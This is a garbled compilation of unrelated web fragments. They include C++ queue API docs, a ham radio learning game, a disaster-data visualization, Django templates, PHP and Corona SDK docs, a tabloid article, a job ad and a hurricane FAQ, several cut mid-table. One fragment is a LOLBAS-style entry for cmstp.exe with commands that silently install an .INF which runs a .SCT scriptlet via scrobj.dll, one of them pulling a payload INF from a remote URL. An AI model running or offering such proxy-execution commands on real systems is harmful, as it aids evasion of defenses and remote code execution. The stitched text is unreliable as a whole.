| - | ptr, void* dereferenced std::vector |
| - | n, const std::size_t |
|
protectedpure virtual |
local_insert - inserts a range from ptr_begin to ptr_end and inserts the signal at the last element inserted, the rest of the signals are set to raft::none.
| ptr_begin | - void* |
| ptr_end | - void* |
| signal | - const raft::signal& |
|
protectedpure virtual |
local_peek - peeks at the head of the queue, the element may be modified but not erased.
| ptr | - void** |
| signal | - raft::signal* |
|
protectedpure virtual |
local_peek_range - peeks at head of queue with the specified range, data may be modified but not erased. Since the queue might be non-contiguous then we must return the memory location of each element.
| ptr | - void**, pointer to pointers at which to store the pointers to items on the queue |
| sig | - void**, same as above but for signal queue |
| n_items | - const std::size_t, number of items requested |
| curr_pointer_loc | - number of items able to be returned |
|
protectedpure virtual |
local_pop - makes a copy, pops an item from the queue and stores the copy at memory located at *ptr.
| ptr | - void* |
| signal | - raft::signal* |
|
protectedpure virtual |
local_pop_range - pops a range, of n_items and stores them to the array of T* items pointed to by ptr_data.
| ptr_data | - void* |
| n_items | - std::size_t |
|
protectedpure virtual |
local_push - pushes the object reference by the void ptr and pushes it to the FIFO with the associated signal. Once this function returns, the value is copied according to the objects copy constructor, which should be set up to "deep" copy the object
| ptr | - void* |
| signal | - raft::signal reference |
|
protectedpure virtual |
local_recycle - called by template recycle function after calling destructor (for non-POD types).
| range | - std::size_t |
|
inline |
peek - returns a reference to the head of the queue. unpeek() must be called after this to tell the runtime that the reference is no longer being used.
| signal | - raft::signal, default: nullptr |
|
inline |
peek_range - analogous to peek, only the user gets a list of items. unpeek() must be called after using this function to let the runtime know that the user is done with the references. @ n - const std::size_t, number of items to peek
|
inline |
pop - pops the head of the queue. If the receiving object wants to watch use the signal, then the signal parameter should not be null.
| item | - T& |
| signal | - raft::signal |
|
inline |
pop_range - pops n_items from the buffer into the std::vector pointed to by pop_range. There are two different ways this function could operate, either with a push_back type symantic which would mean three copies or dealing with a pre-allocated vector. This function assumes that the user has allocated a vector withthe correct size (= n_items).
| items | - std::vector< std::pair< T, raft::signal > >& |
| n_items | - std::size_t |
|
inline |
push - function which takes an object of type T and a signal, makes a copy of the object using the copy constructor and passes it to the FIFO along with the signal which is guaranteed to be delivered at the same time as the object (if of course the receiving object is responding to signals).
| item | - T& |
| signal | - raft::signal, default raft::none |
call blocks till element is written and released to queue
|
inline |
push - function which takes an object of type T and a signal, makes a copy of the object using the copy constructor and passes it to the FIFO along with the signal which is guaranteed to be delivered at the same time as the object (if of course the receiving object is responding to signals).
| item | - T&& |
| signal | - raft::signal, default raft::none |
TODO, think about changing this, erasing type is always ugly
call blocks till element is written and released to queue
|
inline |
recycle - so you want to ignore some items from the input stream without ever even looking at them, then this is the function for you. It is also used with the peek call in order to invalidate or free memory to the queue so that the next peek or pop operation will see a a different location.
| t | - refernce to object or type of object to be recycled, can be null or invalid since this function will never access it. |
| range | - const std::size_t |
|
pure virtual |
resize - called from the dynamic allocator to resize the queue. The function itself is implemented in the various template specializations found in ringuffer.tcc. A new queue is allocated with the size specified and alignment and the old queue is copied over. The third parameter, exit_alloc must be passed from the dynamic allocator to signal with the application is finished so that the resize function doesn't wait indefinitely for queue conditions that will never arise (for exact conditions, see datamanager.tcc.
| n_items | - number of items to resize q to |
| align | - alignment of queue to allocate |
| exit_alloc | - bool to signal when app is finished |
|
pure virtual |
send - releases the last item allocated by allocate() to the queue. Function will simply return if allocate wasn't called prior to calling this function.
| signal | - const raft::signal, default: NONE |
|
pure virtual |
send_range - releases the items allocated by allocate_range to the queue. Function will simply return if allocate wasn't called prior to calling this function.
| signal | - const raft::signal, default: NONE |
|
protectedpure virtual |
set_dst_kernel - sets the protected destination kernel for this fifo, necessary for preemption, see comments on variables below.
| k | - raft::kernel* |
|
protectedpure virtual |
set_src_kernel - sets teh protected source kernel for this fifo, necessary for preemption, see comments on variables below.
| k | - raft::kernel* |
|
protectedpure virtual |
signal_peek - special function for the scheduler to peek at a signal on the head of the queue.
|
protectedpure virtual |
signal_pop - special function fo rthe scheduler to pop the current signal and associated item.
|
pure virtual |
size - returns the current size of this FIFO
|
pure virtual |
space_avail - convenience function to get the current space available in the FIFO, could otherwise be calculated by taking the capacity() - size().
|
pure virtual |
unpeek - call after peek to let the runtime know that all references to the returned value are no longer in use. Keeps the memory location in a valid state for that input port, i.e., it doesn't release the memory location so that the next call to peek will return the same exact location. A call to recycle will release the memory, or invalidate it.
|
friend |
needed to keep as a friend for signalling access


(A game-based learning module for HAM radio basics)
The HAMMY game is designed to instruct young learners grades 3-6 on the fundamentals of amateur radio required for licensure as a technician. The lesson plan calls for a gamified lesson design contained within a 2D game to help maintain young learners’ attention, establish flow, and provide instantaneous feedback.
The intent of this project is to provide a 2-D game based application which will allow young learners to learn the basic principles required to pass the technician level amateur radio exam. Well these exams are designed primarily for older learners, They are occasionally taken and passed by learners as young as seven years old. The amateur radio community has developed a number of training aides, curriculum, and other tools designed to help testees gain their certification; however, few to none of these are designed for young learners.
Kapp, K. M. (2012). The gamification of learning and instruction. Wiley.
Content and objectives are based on the ARRL Ham Radio License Manual 4th Edition as well as the ARRL technician exam question pool. For “list of options”-type questions, options will be taken directly from the ARRL question pool.
The player character must interact with in-game materials and objects as well as non-player characters to solve a series of challenges designed to incorporate Ham radio concepts. All challenges are focused on helping the player character establish simulated in-game radio contact with an NPC to solve a neighborhood mystery.
The following documents and resources are included in this project. Clicking the links will initiate a file download.


Which Natural Disasters occur most in which countries (developing or developed)?
Which are the most disaster prone countries?
Where these countries lie in the Hans Rosling GapMinder Graph i.e what is the life expectancy and the income per capita of these countries?
Which disasters are more influencial in effecting people?
Disaster Occurrences Worldwide
Below visualization demonstrates the accumulated occurrences of various natural disasters in different countries from 1900 to 2016.
Features of this visualization:
Details:
This visualization consists of two charts: A choropleth & a bar graph.
Choropleth depicts a World Map with countries in different shades. The occurrences of the disaster from 1900 to 2016 is defining the color of the country. The darker the shade, the more disaster prone the country is.
We have the option to select various types of Natural Disasters from the dropdown menu. On selection of a disaster type, it will update the color of the countries according to the occurrence of that selected disaster. For Example - Selecting Landslide as the disaster, we can observe that India and China are the leading countries. We can find them as the darkest in the world Map and also in the barchart which gets updated with the top 50 countries. We will further analyse on the placements of these countries in the Hans Rosling mapping graph of Health and Wealth.
Choose the disaster type:
We can observe the most impacted countries over the years are the one who are still developing countries are placed on the left and the center in the Hans Rosling Graph. This shows that Natural Disasters have impacted negatively on the development of countries.
Lets check the disaster type as "Storm" - We can find United States topped. The placement of USA in Hans Rosling Graph is on the Right and it is a developed Nation. We will observe in the later graph that the Disaster Type "Storm" is not much influential as compared to others like Flood.
On the other hand, Natural disasters impact on developing countries is huge and results in making Poor countries more poor. If we observe the Disasters like Epidemic they are more in Under developed and developing countries like Africa and Asia. We can relate that most African countries in the Gap Minder are low in life Health and wealth and are placed left.
Disaster occurrences over the years (1900 - 2016)
We further analysed the trend of the disasters over the years and we figured out that it shows an increasing trend. Especially, from the year 1948 there is an steep increament in the curve.
By hovering on the bars we can observe the Year and the number of disaster occurences.
People effected over the years (1900 - 2016)
The above barchart represents that the number of people effected by the natural disasters over the time have increased. The effected people data is the cummulative of the people died, injured and lost. This is proportional to the increase in the number of occurances over the years.
Over all distribution of disasters over the years (Based on affected people and Number of disaster)
By hovering the below Donut Charts, we can observe the percentage of the occurences and the people impacted.
The below donut Graph1 represents the distribution of the overall disasters based on the number of disaster. We clearly see that the Flood is the Natural Disaster which occured the most. If now we observe in our Choropleth, the countries which are most impacted are the developing countries like India and China.
From the Donut Graph2, we can find that the intensity of Flood on impacting people is also huge as compared to a Storm. The occurance of drought is also very high as compared to Storm.
Selecting the Disaster type as Storm in the Choropleth, we observe that amoung the most affected countries from this type of disaster is USA. Though it has occured the most in United States, it does not have an high impact on the number of people affected.
This also indicates that the disaster which are most impactful have occured in Developing Nations. On the contrast, Developed countries like USA are prepared and have prevention programs in place to control the impact on people from the disasters.
Relating to the Stack Barchart, People effected over the years with the Donut graph of impacted people from disasters with high impacts like Flood, Earthquake and Drought occurs most on the Asian and African Nations. This indicates that the effected people from these nations possess an increasing trend over the years and this has adverely effected the growth of these Nations.
Conclusions:
Disasters with major impact on people occurs more on the Developing Nations (Asia and Africa).
These same countries stays in the left side or the center of the Hans Rosling GapMinder Graph i.e the life expectancy and the income per capita of these Nations are low during the years and still in the year 2015.
Natural Disasters have negative impact on the growth of Nations and it makes the Poor nations poorer. Developed Nations are well planned with the control structure on impact of people from disasters.


{% extends './base.html' %} {% load static %} {% load crispy_forms_tags %} {% block other_navs %}
Here at Simple Portfolio, we work round the clock to ensure we deliver nothing but the best services. However, as humans, we are imperfect and thus need your help to craft the best Online Portfolio ever.
You can contact us for some reasons as below or even more.
Maybe you have a recommendation to make. Like a new feature you want us to implement, or possible malfunctioning bits/parts. Even possibly, a non functioning feature. And you want to let us know about them.
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Maybe you fill satisfied using our service and wishes to say thanks. Or you have additional questions not covered in the user guide and want to ask us directly.
There is just but endless reasons to form a reason to hit us a mail. And for such reasons we are always open and eager to here from you. Just fill the form below then send and we will get your message and reply you as soon as we can.


When writing operation classes, it is recommended to adhere to the best coding practices for Java.
- It is recommended to avoid using multiple System.out.println commands while writing operation classes as this will increase total run time.
Users can use Hydrograph’s watchpoint feature for any debugging.
- If users for some reason need to use System.out.println in operation classes, it is recommended to follow below approaches:
- Should be used during development only. Having System.out.println in production is not recommended at all.
- It’s usage should be restricted to fields. Printing entire inputRow is not recommended.
- It’s usage should be restricted to once or twice and that too only for specific fields.
- For every output field, a separate Java class should be written. This helps is tracing the output field all the way to the fields in source.


Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Bypasses Default AppLocker Rules: False
- C:\Windows\system32\cmstp.exe
- C:\Windows\sysWOW64\cmstp.exe
- Name: Oddvar Moe
-
- Name: Nick Tyrer
-


{% include analytics.html %}
| Commands | Description | See |
|---|---|---|
lb4 controller |
Add a new controller to a LoopBack 4 application | Controller generator |
lb4 datasource |
Add a new datasource to a LoopBack 4 application | DataSource generator |
lb4 model |
Add a new model to a LoopBack 4 application | Model generator |
lb4 repository |
Add new repositories for selected model(s) to a LoopBack 4 application | Repository generator |
lb4 service |
Add new service for a selected datasource to a LoopBack 4 application | Service generator |
lb4 openapi |
Generate controllers and models from OpenAPI specs | OpenAPI generator |
lb4 discover |
Discover models from relational databases | Model Discovery |
lb4 observer |
Generate life cycle observers for application start/stop | Life cycle observer generator |


Modelling Package¶
This module contains tools for modifying biomolecular structures. For example, it includes tools adding capping groups, non-canonical amino acids and loops.
Submodules¶
isambard.modelling.non_canonical module¶
Contains tools for working with non-canonical animo acids.
-
isambard.modelling.non_canonical.
align_nab
(tar, ref)[source]¶ Aligns the N-CA and CA-CB vector of the target monomer.
Parameters: - tar (ampal.Residue) – The residue that will be aligned to the reference.
- ref (ampal.Residue) – The reference residue for the alignment.
-
isambard.modelling.non_canonical.
apply_trans_rot
(ampal, translation, angle, axis, point, radians=False)[source]¶ Applies a translation and rotation to an AMPAL object.
-
isambard.modelling.non_canonical.
convert_pro_to_hyp
(pro)[source]¶ Converts a pro residue to a hydroxypro residue.
All metadata associated with the original pro will be lost i.e. tags. As a consequence, it is advisable to relabel all atoms in the structure in order to make them contiguous.
Parameters: pro (ampal.Residue) – The proline residue to be mutated to hydroxyproline. Examples
We can create a collagen model using isambard and convert every third residue to hydroxyproline:
>>> import isambard >>> col = isambard.specifications.CoiledCoil.tropocollagen(aa=21) >>> col.pack_new_sequences(['GPPGPPGPPGPPGPPGPPGPP']*3) >>> to_convert = [ ... res for (i, res) in enumerate(col.get_monomers()) ... if not (i + 1) % 3] >>> for pro in to_convert: ... isambard.ampal.non_canonical.convert_pro_to_hyp(pro) >>> col.sequences ['GPXGPXGPXGPXGPXGPXGPX', 'GPXGPXGPXGPXGPXGPXGPX', 'GPXGPXGPXGPXGPXGPXGPX']
isambard.modelling.scwrl module¶
This module provides an interface to the program Scwrl4.
The Scwrl executable must be on your path. Run the test_scwrl function to determine if it is available.
For more information on Scwrl see [1].
References
| [1] | Krivov GG, Shapovalov MV, and Dunbrack Jr RL (2009) “Improved prediction of protein side-chain conformations with SCWRL4.”, Proteins. |
-
isambard.modelling.scwrl.
pack_side_chains_scwrl
(assembly, sequences, rigid_rotamer_model=True, hydrogens=False)[source]¶ Packs side chains onto a protein structure.
Parameters: - assembly (AMPAL Assembly) – AMPAL object containing some protein structure.
- sequence ([str]) – A list of amino acid sequences in single-letter code for Scwrl to pack.
- rigid_rotamer_model (bool, optional) – If True, Scwrl will use the rigid-rotamer model, which is faster but less accurate.
- hydrogens (bool, optional) – If False, the hydrogens produced by Scwrl will be ommitted.
Returns: packed_structure – A new AMPAL Assembly containing the packed structure, with the Scwrl score in the tags.
Return type: AMPAL Assembly
-
isambard.modelling.scwrl.
parse_scwrl_out
(scwrl_std_out, scwrl_pdb)[source]¶ Parses SCWRL output and returns PDB and SCWRL score. :param scwrl_std_out: Std out from SCWRL. :type scwrl_std_out: str :param scwrl_pdb: String of packed SCWRL PDB. :type scwrl_pdb: str
Returns: - fixed_scwrl_str (str) – String of packed SCWRL PDB, with correct PDB format.
- score (float) – SCWRL Score
-
isambard.modelling.scwrl.
run_scwrl
(pdb, sequence, path=True, rigid_rotamer_model=True, hydrogens=False)[source]¶ Runs SCWRL on input PDB strong or path to PDB and a sequence string.
Parameters: - pdb (str) – PDB string or a path to a PDB file.
- sequence (str) – Amino acid sequence for SCWRL to pack in single-letter code.
- path (bool, optional) – True if pdb is a path.
- rigid_rotamer_model (bool, optional) – If True, Scwrl will use the rigid-rotamer model, which is faster but less accurate.
- hydrogens (bool, optional) – If False, the hydrogens produced by Scwrl will be ommitted.
Returns: - scwrl_std_out (str) – Std out from SCWRL.
- scwrl_pdb (str) – String of packed SCWRL PDB.
Raises: ChildProcessError
– Raised if SCWRL failed to run.


About the Application
Innovation Mapping is a method that enables acquiring a better understanding of the process of innovation, assisting in the development of new tools to measure innovation-related phenomena and to articulate innovation plans. Innovation Maps can help uncover critical bottom-up information embedded in firms’ R&D and innovation applications for public support. In the context of the smart specialisation process and entrepreneurial discovery, Innovation Maps have been used to help tease out information about technological trends supported by the private sector.
The logical steps of the application, based on its methodological description are:
- Step 1. Receive information on the concept of Innovation Maps, and the standardisation of data required to produce such maps. See: Guide/Related
- Step 2. Import grant application data tables into the online application. This data must comply with the requirements for plotting Innovation Maps, including indication of economic sectors of all grants and technology fields covered.
- Step 3. Select among different layouts for the visualisation of the data. The app provides file templates which are annotated within the guide in order to aid in data selection and upload.
- Step 4. Customise the analysis, by focusing on specific technology areas, or sectors from the uploaded data set.
- Step 5. Design an Innovation Map graph.
- Step 6. Save the results, export the analysis or export the clean data in .xls or .csv format.
Key Benefits
- Enables acquiring a better understanding of the process of innovation, assisting in the development of new tools to measure innovation-related phenomena and to articulate innovation plans.
- Helps to identify regional strengths and concentrations of innovation activities.
- Aids in targeting Smart Specialisation priority areas based on real demand.
- Helps monitor business and technology trends including tracking real-time changes.
- Acts complementary to top-down approaches such as foresight programmes, macro and sectoral data and innovation surveys.
- Provide credible and granular information on innovation activities.


Alan Sugar criticises The Apprentice contestant Lewis Ellis over 'horrific' tattoos
But Lewis has hit back and now viewers are convinced he is not the winner of this year's show
by Jessica Sansome, Jasper KingLord Sugar has entered into a social media Twitter spat with one of The Apprentice's candidates over the choice of his tattoo's.
It all started last Wednesday (November 13) during the show when he called Lewis Ellis' chest tattoos 'horrific' on Twitter as he watched the BBC show live, the Manchester Evening News reports.
Last weeks' episode featured The Apprentice contestants trying to sell a summer holiday to Finland by creating an advertising campaign.
Lewis, who is a digital marketer from Manchester, featured in his group's ad campaign, which saw him strip his shirt off, showcasing his tattooed arms and chest.
However, Lord Sugar expressed his extreme distaste to his potential business partners body art tweeting: "Lewis your tattoos are horrific. Tell me where I am missing the point. What does he look like?"
It didn't take Lewis long to respond.
He tweeted, "Wow LAS how could you do me like this @Lord_Sugar."
Lewis then went on to tweet about the importance of body positivity and tweeted a picture of himself.

"Thank you to everyone that took the time to show some support for my 'horrific' tattoos and pointing out no one has the right to judge you or your body."
However, Lord Sugar did not take too kindly to this message, telling Lewis he will be "an embarrassment" to his future children.
The Apprentice boss said: "Lewis your tattoos tell your story. What are you a kindle.
"You have the right to do what you want with your body. I have the right of an opinion. I say they are horrible.
"When you're 50 on the beach you'll wear a T shirt. You will be an embarrassment to your kids."
Apprentice fans believe their exchange has revealed a crucial series spoiler.
One replied: "I take it Lewis doesn't win then."
Another joked: "Brb, just off to put a bet on Lewis winning."
Lord Sugar's aide Claude Littner came under fire for his own tweeting.
The 70-year-old was scolded on Twitter after sparking a flurry of furious responses to a suggestion that struggling nurses should work more.
He said that if nurses "could not make ends meet" why do they not 'extend their hours' or 'find part time work'.
For the latest news in and around Bristol, visit and bookmark Bristol Live's homepage.


Staff creation
VID of staff
Team
web
workshops
talks
contests
registration
sales
security
Level
loading-b


WITNESS LIST Revenue & Public Education Funding, Select Committee March 20, 1997-11:00A EXEMPTIONS On: Barton, Karey (Comptroller's Office) Hawkins, Albert (Governor's Office) Reissig, Mike (Comptroller's Office)


Get in contact!
You have enough sun hours, may be I will join =)
Name:
Post Code:
Phone:
E-Mail:
continue
Thank you =)
I think we will meet next time! For quicker response write me
<EMAIL_ADDRESS>0%
0/0


Stem Cell Database:
Discovering Value from Relationships
New discoveries can be found through analyzing relationships. TIBCO Graph DB has the ability to draw relationships out for users to discover correlations between data points or groups.
In this demo, we have gathered stem cell protein IDs and correlation indexes. The correlation indexes shows the probability of one gene ID affecting another.
With this visualization, we can extract more value from the dataset by discovering distant relationships.


 It has been made to be the most easy to use, but this guide will still follow along and comment on the way.
Language choice¶
The first question is easy: choose the language that corresponds to the main language spoken in your store (since you are reading this guide, I'm assuming that it is english).
Some stores have both english and french customers. If that is the case for your store, you can change the main screen to display a language choice.
Here is how the main screen looks like with the bilingual option on and off :
Informations about your store¶
This next step involves entering your store and district number. They will be used to identify your store in the statistics and as an PIN number to access some features (more on all that in the next section).
Internet Connectivity¶
This next step simply makes sure that Internet is working on your computer. It will also help you get connected if necessary.
Why is internet connectivity that important?
The program transmits data on its usage (imported school lists, print statistics, etc.) to a central database. This will allow us to measure the popularity of the project and to identify possible issues with the program or the setup process. There is also a feedback tool integrated into the program that requires internet to work (more on that in the next section). Here is an example of the kind of data we collect :
Loading the lists from the USB drive¶
We will now import the lists that you have prepared previously. The wizard will first remind you how to prepare the drive, you can click Continue
in that, and then you will get to the screen shown below. Simply click on your drive in the list to start the process.
Once the lists are loaded, you will get to the following screen which indicates all the lists that have been imported :
Potential problems
If the program does not find any PDF file on the drive, if it does not load the correct files or if it displays an error, please make sure that the only files present on the drive are the ones we prepared earlier (School Lists
and SLMSetup.exe
). Sometimes other files can interfere with the process.
Setup is complete!¶
The last screen is basically a welcome screen and it tells you how to access the settings panel, which we will get to next. The program is now completely ready to use.
Advice
We recommend to shut down the computer every night and boot it up every morning. Since School List Manager bypasses the normal sleep functionality of the computer, turning it off will prolong its life and avoid some bugs that can occur when a computer is on for too long. There is a button in the settings panel (which we will see next) that allows you to close the program using the touch screen.
We recommend also to keep a mouse and keyboard close by, especially for using the settings, as data entry may be needed. You can remove it afterwards.
Now let's see how to access and change the settings in the next section.


Fix Kori
Service Booking section
You have Selected our Electronic fixing service.
Please fill up the following form to make your service booking complete
{% load static %}
Service Booking section
You have Selected our Electronic fixing service.
Please fill up the following form to make your service booking complete


ifx_fetch_row
(PHP 4, PHP <=5.2.0)
ifx_fetch_row — Get row as an associative array
说明
array ifx_fetch_row ( resource $result_id [, mixed $position ] )
Fetches one row of data from the result associated with the specified result
identifier.
Subsequent calls to ifx_fetch_row() would return the next row in the result
set, or FALSE if there are no more rows.
参数
result_id
result_id is a valid resultid returned by ifx_query() or ifx_prepare()
(select type queries only!).
position
An optional parameter for a "fetch" operation on "scroll" cursors: NEXT,
PREVIOUS, CURRENT, FIRST, LAST or a number. If you specify a number, an
"absolute" row fetch is executed. This parameter is optional, and only
valid for SCROLL cursors.
返回值
Returns an associative array that corresponds to the fetched row, or FALSE if
there are no more rows.
Blob columns are returned as integer blob id values for use in ifx_get_blob()
unless you have used ifx_textasvarchar(1) or ifx_byteasvarchar(1), in which
case blobs are returned as string values.
范例
Example #1 Informix fetch rows
1000) {
printf ("Too many rows in result set (%d)\n
", $rowcount);
die ("Please restrict your query
\n");
}
if (! ifx_do ($rid)) {
/* ... error ... */
}
$row = ifx_fetch_row ($rid, "NEXT");
while (is_array($row)) {
for (reset($row); $fieldname=key($row); next($row)) {
$fieldvalue = $row[$fieldname];
printf ("%s = %s,", $fieldname, $fieldvalue);
}
printf("\n
");
$row = ifx_fetch_row($rid, "NEXT");
}
ifx_free_result ($rid);
?>
User Contributed Notes 1 note
===============================================================================
If you use a select statement that
identifies fields according to which
table they come from, i.e.
select tab1.name, tab2.phone from
tab1, tab2
where tab1.id = tab2.id
then the associative keys of the array returned by ifx_fetch_row will not
include the table names. For the example above, if you used
$row = ifx_fetch_row ($rid);
then the first field in the
returned array would be $row["name"],
not $row["tab1.name"] .


[gecode-users] B&B or DFS engine ?
Philippe
aqwzsxaqwzsx at orange.fr
Thu Mar 31 06:15:08 CEST 2016
Hello,
I have a design problem when using a b&b engine. Here it is :
When a solution S is found I have to confirm it using an external
algorithm. It's only if S is confirmed that the next solution S '
must have a better cost than S.
For now, i use a DFS engine and i reject or accept S' myself.
Is there a better solution (using constraint(S) for instance ?).
Thanks,
Philippe
More information about the users
mailing list


USAUnited States of America commonly known as the United States.It is a country composed of 50 states, a federal district, five major self-governing territories, and various possessions |
|
UKThe United Kingdom, made up of England, Scotland, Wales and Northern Ireland, is an island nation in northwestern Europe.England:birthplace of Shakespeare.The Beatles:It is home to the capital, London, a globally influential centre of finance and culture. |
|
KERALAKerala, a state on India's tropical Malabar Coast, has nearly 600km of Arabian Sea shoreline.It's known for its palm-lined beaches and backwaters, a network of canals.Inland are the Western Ghats, mountains whose slopes support tea, coffee and spice plantations as well as wildlife. |


Vice President, Client Services
Location: Work from Home
More
information about this job:
We are a large global
Business Process Outsourcing company with more than 26,000 employees around the
world, including Canada, the United States, Europe, Central America, and the
Philippines. With 175 million customer interactions supported annually via
voice, email, chat and social media, across the telecommunications, utilities,
high tech, gaming, finance, retail, e-commerce, travel and logistics, and
healthcare industries, we enables customer experience innovation through
spirited teamwork, agile thinking, and a caring culture that puts customers
first.
Position
Overview:
We are looking for an enterprising Director/VP of Client
Advocacy. Reporting to the Global VP for Client Service with the
following key responsibilities:
- Customer
Alliance and Strategic Relationship management – passionately pursuing a
collaborative and strategic relationship based on a set of key customer
priorities and common goals and grow the accounts yearly within a highly
competitive environment
- Strategic
and operational focus – Establishing and leading the development and
execution of our Account Strategy and Roadmap with key expectations that
drives all Team Members around a common set of goals and objectives
- Formulating
and aligning strategies to operational objectives. Using industry
knowledge and identify process improvements and innovative tools to
enhance service delivery aligned with our customers key priorities
- Sales
- growing "wallet share" in current customer's organization
through developing and maintaining a strategic based full service
solutions environment
- Leadership
– ability to get things done through and with others in a matrixed
international environment
Location
This is a remote position where the team member may be based
anywhere in North America
Specific
Responsibilities May Include:
- Establishing
trusted and consultative customer relationships. Developing strong
service relationships with our customers, dealing with end-to-end
operational issues and bringing the global team together to
collectively own the end to end customer experience.
- Providing
matrixed leadership to a team of Operations, Quality, Finance, Workforce,
Learning Services professionals dedicated to our Client and lead by the
Client Service Management Leader Targeting Customer Care and Business
Growth initiatives.
- This
may include providing leadership to team members accountable for 24/7
customer escalation
- Implementing interdependent
relationships internally enabling a concerted support
strategy. Developing and executing strategic
projects, initiatives and programs and/or leading end-to-end
cross-functional process improvement initiatives
- Ensuring clients
receive differentiated levels of service and value-add by creating and
executing on key deliverables based on project targeting program
innovation, thought leadership to deliver on - and exceed - all contracted
service level agreements.
- Retaining
and growing our base. Actively participating in defining
the future direction of our client's businesses and identifying new
markets or business opportunities
- Creating
C-suite and Sr. Leader client relationships across our client
business units to build upon our value creation and drive significant
sources of incremental revenue and new opportunity development within
all client BU’s we can address
- Preparing
and managing budgets to meet corporate objectives and develop plans
and strategies to improve end-to-end client experience
Required
Experience, Skills & Competencies:
Required Knowledge
- Business
and financial acumen - end to end operational knowledge of service
delivery and assurance or customer care processes in a contact center
environment
- Knowledge
of how sales and marketing drive new, repeat and growth business
- Strong
telecommunications/ technical knowledge
- Knowledge
of key client metrics in a contact center setting e.g. workforce
management metrics, quality assurance metrics, customer satisfaction
metrics, average handle time, etc
- Global
business acumen – understands business on a global scale, understands what
works in many countries and what is different from country to country
Required Skills & Abilities
- Willingness
and ability to work from a home office
- Willingness
and ability to travel for up to 35% of work hours
- Communication:
Demonstrated ability to forge positive relationships with senior level
executives within client organizations.
- Strategy:
Proven success in setting the strategic direction and key expectations for
the company. Ability to formulate and recommend strategies and operational
objectives. Ability to use industry knowledge and identify process
improvements to enhance services
- Business
Development: Ability to grow "wallet share" in current
customer's organization through moving from a transaction based process
environment to a strategic based full service solutions environment.
- Alliance
Management: Ability to negotiate and work towards common goals with an
understanding of business and client solutions in a highly competitive
environment.
- Personal
Characteristics: Results oriented. Ability to offer the inspiration,
communication, and interpersonal relationship skills to make things
happen.
- Benchmarking:
Knowledge of client operations, client experience (internal and external
benchmarks) and TELCO industry
- Change
Management: Demonstrated ability to adapt quickly to change and
provide change management guidance to others
- Leadership:
Ability to lead and motivate international matrixed operations teams
- Financial
acumen: Demonstrated ability to make decisions and problem solve
based on financial and economic analysis to align with corporate strategic
vision
- Ability
to facilitate solutions in a complex technology and business
environment
- Ability
to work with diverse groups in terms of geography and different time zones
- Ability
to speak and write Spanish is not required but would be an asset
Required Professional Designation/Certification
- Post-secondary
education in a related field
Required Experience
- Minimum
7 years in operational and/or client relationship management in a call
center environment
- Experience
in a matrixed leadership role, leading process improvement teams or
self-managed work teams
- Experience
in a revenue generating role
- Demonstrated
history of success in a sales and / or client relationship
management
- Financial
acumen – ability to read and act upon financial reports and make sound
business decisions that have positive business impacts
Industry Knowledge and Experience
- Knows
the outsourcing business and the mission-critical functional skills needed
to do the job; understand various types of business propositions and
understands how businesses operate in general.
Ethics
A person of high character is consistent in acting in line with company
values; talks straight; walks his / her talk; works through conflict; delivers
negative feedback and messages without hesitation; deals fairly with problem
performers; lets everyone know where they stand; not afraid to make negative
decisions and take tough actions; challenges the status quo; direct, truthful,
and keeps confidences
Company Values:
The company recognizes and embraces the importance of values in
our ever-changing workplace. To be successful, all applicants must
demonstrate behaviors that they are reflective of our values:
· We embrace change and
initiate opportunity
· We have a passion for
growth
· We believe in spirited
teamwork
· We have the courage to
innovate
We are committed to diversity and equitable access to employment
opportunities


Type Constant Library system.* Revision Current Public Release (2013.2076) Keywords system directory See also system.pathForFile()
system.CachesDirectory
system.DocumentsDirectory
system.TemporaryDirectory
Used with system.pathForFile() to create a path for retrieving files where all the application assets exist (e.g., image and sound files). This often called the "app bundle."
You should not create, modify, or add files to this directory. Doing so will prevent the device from verifying the integrity of your application; in some cases the device will treat your application as malware and refuse to launch your application.
This property can also be used with other APIs requesting "baseDirectory"
as a parameter (e.g., display.newImage()
, media.playSound()
, etc.). The resource directory is generally the default directory if no directory is specified.
In the Corona Simulator this will be in a sandboxed folder on a per-application basis. Unlike the /Documents
and /tmp
directories, the resource directory is not viewable via File → Show Project Sandbox.
To restate what was mentioned above: system.ResourceDirectory
is where your main.lua
file and generally all of your asset (resource) files are stored. For security reasons, this directory is read-only and enforced by the operating system, not by Corona.
File access in Corona is based on the underlining operating system which varies by platform. On iOS devices, you can access files in all of the directories described above. On Android, however, there is no literal system.ResourceDirectory
because all resource files reside inside a compressed APK file.
Corona allows direct loading of images and audio files using the appropriate APIs, but it has limited access to resource files on Android using the file I/O APIs. Specifically, the following types can not be read from the resources directory: .html
, .htm
., .3gp
, .m4v
, .mp4
, .png
, .jpg
, and .ttf
.
Because of this limitation, if you have files of these types bundled in the core directory that you need to copy to another directory, you must change the file name so it can be accessed by the file I/O APIs. For example, if you want to move cat.png
from the resource directory to the documents directory, it must be renamed cat.png.txt
to be copied. See Working With Subfolders in the Reading and Writing Files guide for details.
system.ResourceDirectory
This example will read a data.txt
file located in the assets directory (the same directory containing main.lua
).
local path = system.pathForFile( "data.txt", system.ResourceDirectory )
local file = io.open( path, "r" )
if file then -- nil if no file found
local contents = file:read( "*a" )
print( "Contents of " .. path .. "\n" .. contents )
io.close( file )
end


JonLuca's Repo
JonLuca DeCaro
Add repository to Cydia
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Apple Music the way it was supposed to be. No options to configure, replaces Connect with Playlists and fixes up some annoyances
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NoAppleRadio
Removes Apple Radio tab.

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SCLenses4All
Enables the new Snapchat lenses for older devices. Note: will be slow and might crash your device.
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Always shows time sent or received in Snapchat (beneath usernames).
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Comment, vote, and submit Yak's from anywhere, regardless of your physical location.
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Back to Tropical Cyclones
Records Page | Back
to Main FAQ Page
Subject: E9) What are the most and least
tropical cyclones occurring in the Atlantic basin and striking
the USA?
Starting in 1944, systematic aircraft reconnaissance was
commenced for monitoring both tropical cyclones and disturbances
that had the potential to develop into tropica cyclones. This
is why both Neumann et al. (1993)
and Landsea (1993)
recommend utilizing data since 1944 for computing climatological
statistics. However, for tropical cyclones striking the USA
East and Gulf coasts - because of highly populated coast lines,
data with good reliability extends back to around 1899. Thus, the
following records hold for the entire Atlantic basin (from
1944-present) and for the USA coastline (1899-present):
| Category | Maximum | Minimum |
